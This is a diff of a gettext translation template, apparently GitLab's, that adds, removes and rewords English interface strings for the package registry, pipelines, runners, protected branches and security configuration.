msgid "NetworkPolicies|Create policy"
msgstr ""
@@ -22480,7 +22183,7 @@ msgstr ""
msgid "NetworkPolicies|Namespace"
msgstr ""
-msgid "NetworkPolicies|Network Policy"
+msgid "NetworkPolicies|Network"
msgstr ""
msgid "NetworkPolicies|Network traffic"
@@ -22537,13 +22240,13 @@ msgstr ""
msgid "NetworkPolicies|Save changes"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, failed to update policy"
+msgid "NetworkPolicies|Scan Execution"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
+msgid "NetworkPolicies|Something went wrong, failed to update policy"
msgstr ""
-msgid "NetworkPolicies|Status"
+msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
@@ -22744,9 +22447,6 @@ msgstr ""
msgid "New iteration"
msgstr ""
-msgid "New iteration cadence"
-msgstr ""
-
msgid "New iteration created"
msgstr ""
@@ -22765,7 +22465,7 @@ msgstr ""
msgid "New password"
msgstr ""
-msgid "New pipelines cause older pending pipelines on the same branch to be cancelled."
+msgid "New pipelines cause older pending or running pipelines on the same branch to be cancelled."
msgstr ""
msgid "New project"
@@ -23074,9 +22774,6 @@ msgstr ""
msgid "No repository"
msgstr ""
-msgid "No required pipeline"
-msgstr ""
-
msgid "No runner executable"
msgstr ""
@@ -23263,9 +22960,6 @@ msgstr ""
msgid "Nothing to preview."
msgstr ""
-msgid "Nothing to synchronize"
-msgstr ""
-
msgid "Notification events"
msgstr ""
@@ -23416,9 +23110,6 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of %{itemTitle}"
-msgstr ""
-
msgid "Number of Elasticsearch shards and replicas (per index)"
msgstr ""
@@ -24058,10 +23749,10 @@ msgstr ""
msgid "Package type must be RubyGems"
msgstr ""
-msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Packages with the same name and version are accepted."
+msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Accept packages with the same name and version."
msgstr ""
-msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Packages with the same name and version are rejected."
+msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Reject packages with the same name and version."
msgstr ""
msgid "PackageRegistry|%{name} version %{version} was first created %{datetime}"
@@ -24139,6 +23830,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy SHA"
+msgstr ""
+
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
@@ -24169,6 +23863,12 @@ msgstr ""
msgid "PackageRegistry|Created by commit %{link} on branch %{branch}"
msgstr ""
+msgid "PackageRegistry|Debian"
+msgstr ""
+
+msgid "PackageRegistry|Delete Package File"
+msgstr ""
+
msgid "PackageRegistry|Delete Package Version"
msgstr ""
@@ -24193,9 +23893,6 @@ msgstr ""
msgid "PackageRegistry|Generic"
msgstr ""
-msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
-msgstr ""
-
msgid "PackageRegistry|Gradle Groovy DSL"
msgstr ""
@@ -24247,6 +23944,9 @@ msgstr ""
msgid "PackageRegistry|Package Registry"
msgstr ""
+msgid "PackageRegistry|Package file deleted successfully"
+msgstr ""
+
msgid "PackageRegistry|Package has %{number} archived update"
msgstr ""
@@ -24256,15 +23956,15 @@ msgstr ""
msgid "PackageRegistry|Package updated by commit %{link} on branch %{branch}, built by pipeline %{pipeline}, and published to the registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Packages can be published if their name or version matches this regex"
-msgstr ""
-
msgid "PackageRegistry|Pip Command"
msgstr ""
msgid "PackageRegistry|Publish and share packages for a variety of common package managers. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
+msgid "PackageRegistry|Publish packages if their name or version matches this regex."
+msgstr ""
+
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
@@ -24310,6 +24010,12 @@ msgstr ""
msgid "PackageRegistry|Show Yarn commands"
msgstr ""
+msgid "PackageRegistry|Something went wrong while deleting the package file."
+msgstr ""
+
+msgid "PackageRegistry|Something went wrong while deleting the package."
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -24340,6 +24046,12 @@ msgstr ""
msgid "PackageRegistry|Unable to load package"
msgstr ""
+msgid "PackageRegistry|Use GitLab as a private registry for common package formats. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
+msgid "PackageRegistry|You are about to delete %{filename}. This is a destructive action that may render your package unusable. Are you sure?"
+msgstr ""
+
msgid "PackageRegistry|You are about to delete %{name}, this operation is irreversible, are you sure?"
msgstr ""
@@ -24532,9 +24244,6 @@ msgstr ""
msgid "Pause Elasticsearch indexing"
msgstr ""
-msgid "Pause replication"
-msgstr ""
-
msgid "Paused"
msgstr ""
@@ -24739,10 +24448,10 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
-msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgid "PipelineEditorTutorial|Commit the file to your repository. The pipeline then runs automatically."
msgstr ""
msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
@@ -24754,9 +24463,6 @@ msgstr ""
msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
-msgstr ""
-
msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
msgstr ""
@@ -24766,16 +24472,22 @@ msgstr ""
msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
msgstr ""
+msgid "PipelineEditorTutorial|Select the pipeline ID to view the full details about your first pipeline run."
+msgstr ""
+
msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
msgstr ""
-msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgid "PipelineEditorTutorial|The pipeline status is at the top of the page."
msgstr ""
-msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgid "PipelineEditorTutorial|This template creates a simple test pipeline. To use it:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
msgstr ""
-msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
msgstr ""
msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
@@ -24895,10 +24607,10 @@ msgstr ""
msgid "Pipelines|Editor"
msgstr ""
-msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a simple pipeline that runs a “Hello world†script."
+msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a basic 3 stage CI/CD pipeline."
msgstr ""
-msgid "Pipelines|Get started with CI/CD"
+msgid "Pipelines|Get started with GitLab CI/CD"
msgstr ""
msgid "Pipelines|GitLab CI/CD can automatically build, test, and deploy your code. Let GitLab take care of time consuming tasks, so you can spend more time creating."
@@ -24916,12 +24628,18 @@ msgstr ""
msgid "Pipelines|Improve code quality with GitLab CI/CD"
msgstr ""
+msgid "Pipelines|Install GitLab Runners"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
msgid "Pipelines|Last Used"
msgstr ""
+msgid "Pipelines|Learn about Runners"
+msgstr ""
+
msgid "Pipelines|Lint"
msgstr ""
@@ -25033,9 +24751,6 @@ msgstr ""
msgid "Pipelines|parent"
msgstr ""
-msgid "Pipelines|“Hello world†with GitLab CI/CD"
-msgstr ""
-
msgid "Pipeline|Actions"
msgstr ""
@@ -25186,13 +24901,13 @@ msgstr ""
msgid "Pipeline|with stages"
msgstr ""
-msgid "PivotalTrackerService|Add commit messages as comments to PivotalTracker stories."
+msgid "PivotalTrackerService|Add commit messages as comments to Pivotal Tracker stories."
msgstr ""
-msgid "PivotalTrackerService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "PivotalTrackerService|Comma-separated list of branches to automatically inspect. Leave blank to include all branches."
msgstr ""
-msgid "PivotalTrackerService|Pivotal Tracker API token."
+msgid "PivotalTrackerService|Pivotal Tracker API token. User must have access to the story. All comments are attributed to this user."
msgstr ""
msgid "Plain diff"
@@ -25237,10 +24952,10 @@ msgstr ""
msgid "Please check the configuration file to ensure that it is available and the YAML is valid"
msgstr ""
-msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
+msgid "Please check your email %{email} to confirm your account"
msgstr ""
-msgid "Please check your email to confirm your account"
+msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
msgstr ""
msgid "Please choose a file"
@@ -25252,6 +24967,12 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please confirm your email address"
+msgstr ""
+
+msgid "Please contact an admin to register runners."
+msgstr ""
+
msgid "Please contact your GitLab administrator if you think this is an error."
msgstr ""
@@ -25864,6 +25585,9 @@ msgstr ""
msgid "Profiles|Enter your name, so people you know can recognize you"
msgstr ""
+msgid "Profiles|Enter your pronouns to let people know how to refer to you"
+msgstr ""
+
msgid "Profiles|Expired key is not valid."
msgstr ""
@@ -26149,9 +25873,6 @@ msgstr ""
msgid "Project Access Tokens"
msgstr ""
-msgid "Project Audit Events"
-msgstr ""
-
msgid "Project Badges"
msgstr ""
@@ -26179,6 +25900,9 @@ msgstr ""
msgid "Project and wiki repositories"
msgstr ""
+msgid "Project audit events"
+msgstr ""
+
msgid "Project avatar"
msgstr ""
@@ -26191,9 +25915,6 @@ msgstr ""
msgid "Project description (optional)"
msgstr ""
-msgid "Project details"
-msgstr ""
-
msgid "Project does not exist or you don't have permission to perform this action"
msgstr ""
@@ -26242,15 +25963,9 @@ msgstr ""
msgid "Project order will not be saved as local storage is not available."
msgstr ""
-msgid "Project overview"
-msgstr ""
-
msgid "Project path"
msgstr ""
-msgid "Project scanning help page"
-msgstr ""
-
msgid "Project security status"
msgstr ""
@@ -26299,9 +26014,6 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
-msgid "ProjectLifecycle|Stage"
-msgstr ""
-
msgid "ProjectOverview|Fork"
msgstr ""
@@ -26917,9 +26629,6 @@ msgstr ""
msgid "ProjectsNew|Create blank project"
msgstr ""
-msgid "ProjectsNew|Create blank project/repository"
-msgstr ""
-
msgid "ProjectsNew|Create from template"
msgstr ""
@@ -26935,9 +26644,6 @@ msgstr ""
msgid "ProjectsNew|Import project"
msgstr ""
-msgid "ProjectsNew|Import project/repository"
-msgstr ""
-
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
@@ -27022,21 +26728,18 @@ msgstr ""
msgid "PrometheusService|Active"
msgstr ""
-msgid "PrometheusService|Auto configuration"
-msgstr ""
-
msgid "PrometheusService|Auto configuration settings are used unless you override their values here."
msgstr ""
-msgid "PrometheusService|Automatically deploy and configure Prometheus on your clusters to monitor your project’s environments."
-msgstr ""
-
msgid "PrometheusService|Common metrics"
msgstr ""
msgid "PrometheusService|Common metrics are automatically monitored based on a library of metrics from popular exporters."
msgstr ""
+msgid "PrometheusService|Configure GitLab to query a Prometheus installed in one of your clusters."
+msgstr ""
+
msgid "PrometheusService|Custom metrics"
msgstr ""
@@ -27052,18 +26755,9 @@ msgstr ""
msgid "PrometheusService|Finding custom metrics..."
msgstr ""
-msgid "PrometheusService|GitLab is managing Prometheus on your clusters."
-msgstr ""
-
-msgid "PrometheusService|GitLab manages Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|IAP_CLIENT_ID.apps.googleusercontent.com"
msgstr ""
-msgid "PrometheusService|Install Prometheus on clusters"
-msgstr ""
-
msgid "PrometheusService|Manage clusters"
msgstr ""
@@ -27079,9 +26773,6 @@ msgstr ""
msgid "PrometheusService|Monitor application health with Prometheus metrics and dashboards"
msgstr ""
-msgid "PrometheusService|Monitor your project’s environments by deploying and configuring Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|More information"
msgstr ""
@@ -27094,6 +26785,9 @@ msgstr ""
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
+msgid "PrometheusService|Prometheus cluster integration"
+msgstr ""
+
msgid "PrometheusService|PrometheusService|The ID of the IAP-secured resource."
msgstr ""
@@ -27109,7 +26803,7 @@ msgstr ""
msgid "PrometheusService|These metrics will only be monitored after your first deployment to an environment"
msgstr ""
-msgid "PrometheusService|To enable the installation of Prometheus on your clusters, deactivate the manual configuration."
+msgid "PrometheusService|To use a Prometheus installed on a cluster, deactivate the manual configuration."
msgstr ""
msgid "PrometheusService|Waiting for your first deployment to an environment to find common metrics"
@@ -27118,6 +26812,9 @@ msgstr ""
msgid "PrometheusService|You can now manage your Prometheus settings on the %{operations_link_start}Operations%{operations_link_end} page. Fields on this page has been deprecated."
msgstr ""
+msgid "PrometheusService|You have a cluster with the Prometheus integration enabled."
+msgstr ""
+
msgid "PrometheusService|https://prometheus.example.com/"
msgstr ""
@@ -27127,9 +26824,6 @@ msgstr ""
msgid "Promote"
msgstr ""
-msgid "Promote confidential issue to a non-confidential epic"
-msgstr ""
-
msgid "Promote issue to an epic"
msgstr ""
@@ -27148,9 +26842,6 @@ msgstr ""
msgid "PromoteMilestone|Promotion failed - %{message}"
msgstr ""
-msgid "Promoted confidential issue to a non-confidential epic. Information in this issue is no longer confidential as epics are public to group members."
-msgstr ""
-
msgid "Promoted issue to an epic."
msgstr ""
@@ -27274,13 +26965,16 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
-msgid "ProtectedBranch|Allow force push"
+msgid "ProtectedBranch|Allow all users with push access to %{tag_start}force push%{tag_end}."
msgstr ""
-msgid "ProtectedBranch|Allow force push for all users with push access."
+msgid "ProtectedBranch|Allow all users with push access to force push."
msgstr ""
-msgid "ProtectedBranch|Allow force push:"
+msgid "ProtectedBranch|Allowed to force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allowed to force push:"
msgstr ""
msgid "ProtectedBranch|Allowed to merge"
@@ -27301,12 +26995,21 @@ msgstr ""
msgid "ProtectedBranch|Branch:"
msgstr ""
+msgid "ProtectedBranch|By default, protected branches restrict who can modify the branch."
+msgstr ""
+
msgid "ProtectedBranch|Code owner approval"
msgstr ""
msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
+msgid "ProtectedBranch|Keep stable branches secure and force developers to use merge requests."
+msgstr ""
+
+msgid "ProtectedBranch|Learn more."
+msgstr ""
+
msgid "ProtectedBranch|Protect"
msgstr ""
@@ -27316,6 +27019,9 @@ msgstr ""
msgid "ProtectedBranch|Protected branch (%{protected_branches_count})"
msgstr ""
+msgid "ProtectedBranch|Protected branches"
+msgstr ""
+
msgid "ProtectedBranch|Reject code pushes that change files listed in the CODEOWNERS file."
msgstr ""
@@ -27325,12 +27031,15 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
-msgid "ProtectedBranch|Toggle allow force push"
+msgid "ProtectedBranch|Toggle allowed to force push"
msgstr ""
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
+msgid "ProtectedBranch|What are protected branches?"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -27376,18 +27085,30 @@ msgstr ""
msgid "ProtectedEnvironment|Your environment has been unprotected"
msgstr ""
-msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
+msgid "ProtectedTag|By default, protected branches restrict who can modify the tag."
msgstr ""
-msgid "Protocol"
+msgid "ProtectedTag|Learn more."
msgstr ""
-msgid "Provide feedback"
+msgid "ProtectedTag|Limit access to creating and updating tags."
+msgstr ""
+
+msgid "ProtectedTag|Protected tags"
+msgstr ""
+
+msgid "ProtectedTag|What are protected tags?"
+msgstr ""
+
+msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
msgstr ""
msgid "Provider"
msgstr ""
+msgid "Provision instructions"
+msgstr ""
+
msgid "Provisioned by:"
msgstr ""
@@ -27796,6 +27517,9 @@ msgstr ""
msgid "Register with two-factor app"
msgstr ""
+msgid "Registration Features include:"
+msgstr ""
+
msgid "Registration|Checkout"
msgstr ""
@@ -27823,6 +27547,9 @@ msgstr ""
msgid "Related Issues"
msgstr ""
+msgid "Related feature flags"
+msgstr ""
+
msgid "Related issues"
msgstr ""
@@ -28006,6 +27733,9 @@ msgstr ""
msgid "Remove limit"
msgstr ""
+msgid "Remove link"
+msgstr ""
+
msgid "Remove list"
msgstr ""
@@ -28021,15 +27751,9 @@ msgstr ""
msgid "Remove milestone"
msgstr ""
-msgid "Remove node"
-msgstr ""
-
msgid "Remove parent epic from an epic"
msgstr ""
-msgid "Remove primary node"
-msgstr ""
-
msgid "Remove priority"
msgstr ""
@@ -28045,9 +27769,6 @@ msgstr ""
msgid "Remove secondary email"
msgstr ""
-msgid "Remove secondary node"
-msgstr ""
-
msgid "Remove spent time"
msgstr ""
@@ -28195,15 +27916,18 @@ msgstr ""
msgid "Reopens this %{quick_action_target}."
msgstr ""
-msgid "Repair authentication"
+msgid "Replace"
msgstr ""
-msgid "Replace"
+msgid "Replace %{name}"
msgstr ""
msgid "Replace all label(s)"
msgstr ""
+msgid "Replace file"
+msgstr ""
+
msgid "Replaced all labels with %{label_references} %{label_text}."
msgstr ""
@@ -28213,15 +27937,6 @@ msgstr ""
msgid "Replication"
msgstr ""
-msgid "Replication details"
-msgstr ""
-
-msgid "Replication enabled"
-msgstr ""
-
-msgid "Replication paused"
-msgstr ""
-
msgid "Reply by email"
msgstr ""
@@ -28645,6 +28360,9 @@ msgstr[5] ""
msgid "Requires values to meet regular expression requirements."
msgstr ""
+msgid "Requires your primary GitLab email address."
+msgstr ""
+
msgid "Resend"
msgstr ""
@@ -28795,12 +28513,6 @@ msgstr ""
msgid "Resync"
msgstr ""
-msgid "Resync all"
-msgstr ""
-
-msgid "Resync all %{replicableType}"
-msgstr ""
-
msgid "Retry"
msgstr ""
@@ -28816,9 +28528,6 @@ msgstr ""
msgid "Retry this job in order to create the necessary resources."
msgstr ""
-msgid "Retry update"
-msgstr ""
-
msgid "Retry verification"
msgstr ""
@@ -28921,6 +28630,9 @@ msgstr ""
msgid "RightSidebar|deleting the"
msgstr ""
+msgid "Rnners|Don't see what you are looking for? See the full list of options, including a fully customizable option, %{linkStart}here%{linkEnd}."
+msgstr ""
+
msgid "Roadmap"
msgstr ""
@@ -28930,9 +28642,6 @@ msgstr ""
msgid "Rollback"
msgstr ""
-msgid "Rook"
-msgstr ""
-
msgid "Ruby"
msgstr ""
@@ -28999,12 +28708,21 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. Non-spot. Default choice for Linux Docker executor."
+msgstr ""
+
msgid "Runners|An error has occurred fetching instructions"
msgstr ""
msgid "Runners|Architecture"
msgstr ""
+msgid "Runners|Are you sure you want to delete this runner?"
+msgstr ""
+
msgid "Runners|Can run untagged jobs"
msgstr ""
@@ -29014,6 +28732,9 @@ msgstr ""
msgid "Runners|Copy instructions"
msgstr ""
+msgid "Runners|Deploy GitLab Runner in AWS"
+msgstr ""
+
msgid "Runners|Description"
msgstr ""
@@ -29023,9 +28744,18 @@ msgstr ""
msgid "Runners|Download latest binary"
msgstr ""
+msgid "Runners|Enter the number of seconds. This timeout takes precedence over lower timeouts set for the project."
+msgstr ""
+
+msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
+msgstr ""
+
msgid "Runners|IP Address"
msgstr ""
+msgid "Runners|If you do not select an AWS VPC, the runner will deploy to the Default VPC in the AWS Region you select. Please consult with your AWS administrator to understand if there are any security risks to deploying into the Default VPC in any given region in your AWS account."
+msgstr ""
+
msgid "Runners|Install a runner"
msgstr ""
@@ -29038,9 +28768,15 @@ msgstr ""
msgid "Runners|Maximum job timeout"
msgstr ""
+msgid "Runners|Members of the %{type} can register runners"
+msgstr ""
+
msgid "Runners|Name"
msgstr ""
+msgid "Runners|New registration token generated!"
+msgstr ""
+
msgid "Runners|New runner, has not connected yet"
msgstr ""
@@ -29083,12 +28819,18 @@ msgstr ""
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner registration"
+msgstr ""
+
msgid "Runners|Shared runners are available to every project in a GitLab instance. If you want a runner to build only specific projects, restrict the project in the table below. After you restrict a runner to a project, you cannot change it back to a shared runner."
msgstr ""
msgid "Runners|Show Runner installation instructions"
msgstr ""
+msgid "Runners|Something went wrong while fetching the tags suggestions"
+msgstr ""
+
msgid "Runners|Tags"
msgstr ""
@@ -29119,6 +28861,12 @@ msgstr ""
msgid "Runners|View installation instructions"
msgstr ""
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. Non-spot. Default choice for Windows Shell executor."
+msgstr ""
+
msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
msgstr ""
@@ -29197,6 +28945,12 @@ msgstr ""
msgid "SSH keys allow you to establish a secure connection between your computer and GitLab."
msgstr ""
+msgid "SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys can not be used:"
+msgstr ""
+
+msgid "SSH keys with the following fingerprints have expired and can no longer be used:"
+msgstr ""
+
msgid "SSH public key"
msgstr ""
@@ -29248,10 +29002,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
-msgstr ""
-
-msgid "Saved scan settings and target site settings which are reusable."
+msgid "Save space and find images in the container Registry. remove unneeded tags and keep only the ones you want. %{linkStart}How does cleanup work?%{linkEnd}"
msgstr ""
msgid "Saving"
@@ -29284,6 +29035,9 @@ msgstr ""
msgid "Scheduled a rebase of branch %{branch}."
msgstr ""
+msgid "Scheduled pipelines cannot run more frequently than once per %{limit} minutes. A pipeline configured to run more frequently only starts after %{limit} minutes have elapsed since the last time it ran."
+msgstr ""
+
msgid "Scheduled to merge this merge request (%{strategy})."
msgstr ""
@@ -29335,6 +29089,9 @@ msgstr ""
msgid "Search"
msgstr ""
+msgid "Search GitLab"
+msgstr ""
+
msgid "Search Jira issues"
msgstr ""
@@ -29419,9 +29176,6 @@ msgstr ""
msgid "Search or filter results…"
msgstr ""
-msgid "Search or jump to…"
-msgstr ""
-
msgid "Search project"
msgstr ""
@@ -29596,12 +29350,6 @@ msgstr[5] ""
msgid "Searching by both author and message is currently not supported."
msgstr ""
-msgid "Seat Link"
-msgstr ""
-
-msgid "Seat Link is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "SeatUsage|Seat usage"
msgstr ""
@@ -29668,6 +29416,9 @@ msgstr ""
msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
msgstr ""
+msgid "SecurityConfiguration|%{scanType} configuration code snippet"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -29689,6 +29440,9 @@ msgstr ""
msgid "SecurityConfiguration|Configuration guide"
msgstr ""
+msgid "SecurityConfiguration|Configuration history"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
@@ -29698,6 +29452,12 @@ msgstr ""
msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
+msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
+msgstr ""
+
+msgid "SecurityConfiguration|Copy code only"
+msgstr ""
+
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
@@ -29722,9 +29482,18 @@ msgstr ""
msgid "SecurityConfiguration|Feature documentation for %{featureName}"
msgstr ""
+msgid "SecurityConfiguration|GitLab Ultimate checks your application for security vulnerabilities that may lead to unauthorized access, data leaks, and denial of service attacks. Its features include:"
+msgstr ""
+
+msgid "SecurityConfiguration|High-level vulnerability statistics across projects and groups."
+msgstr ""
+
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage profiles for use by DAST scans."
+msgstr ""
+
msgid "SecurityConfiguration|Manage scans"
msgstr ""
@@ -29734,12 +29503,21 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
+msgid "SecurityConfiguration|Runtime security metrics for application environments."
+msgstr ""
+
msgid "SecurityConfiguration|SAST Analyzers"
msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
+msgid "SecurityConfiguration|Secure your project with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -29752,7 +29530,10 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
-msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Upgrade or start a free trial"
msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
@@ -29761,6 +29542,12 @@ msgstr ""
msgid "SecurityConfiguration|View history"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request."
+msgstr ""
+
+msgid "SecurityConfiguration|With the information provided, you can immediately begin risk analysis and remediation within GitLab."
+msgstr ""
+
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
@@ -29773,6 +29560,27 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project"
msgstr ""
+msgid "SecurityPolicies|Description"
+msgstr ""
+
+msgid "SecurityPolicies|Enforcement status"
+msgstr ""
+
+msgid "SecurityPolicies|Latest scan"
+msgstr ""
+
+msgid "SecurityPolicies|Network"
+msgstr ""
+
+msgid "SecurityPolicies|Policy type"
+msgstr ""
+
+msgid "SecurityPolicies|Scan execution"
+msgstr ""
+
+msgid "SecurityPolicies|view results"
+msgstr ""
+
msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
@@ -29785,7 +29593,7 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|All activity"
msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
@@ -29848,6 +29656,9 @@ msgstr ""
msgid "SecurityReports|Error fetching the vulnerability list. Please check your network connection and try again."
msgstr ""
+msgid "SecurityReports|Error parsing security reports"
+msgstr ""
+
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
@@ -29953,6 +29764,9 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
+msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
+msgstr ""
+
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -30055,9 +29869,6 @@ msgstr ""
msgid "Select Page"
msgstr ""
-msgid "Select Stack"
-msgstr ""
-
msgid "Select a branch"
msgstr ""
@@ -30088,9 +29899,15 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a role"
+msgstr ""
+
msgid "Select a shared template repository for all projects on this instance."
msgstr ""
+msgid "Select a subgroup to use as a template when creating new projects in the group."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -30193,9 +30010,6 @@ msgstr ""
msgid "Select target branch"
msgstr ""
-msgid "Select the custom project template source group."
-msgstr ""
-
msgid "Select timezone"
msgstr ""
@@ -30289,7 +30103,7 @@ msgstr ""
msgid "Send report"
msgstr ""
-msgid "Send usage data"
+msgid "Send service data"
msgstr ""
msgid "Sentry API URL"
@@ -30328,10 +30142,10 @@ msgstr ""
msgid "Serverless platform"
msgstr ""
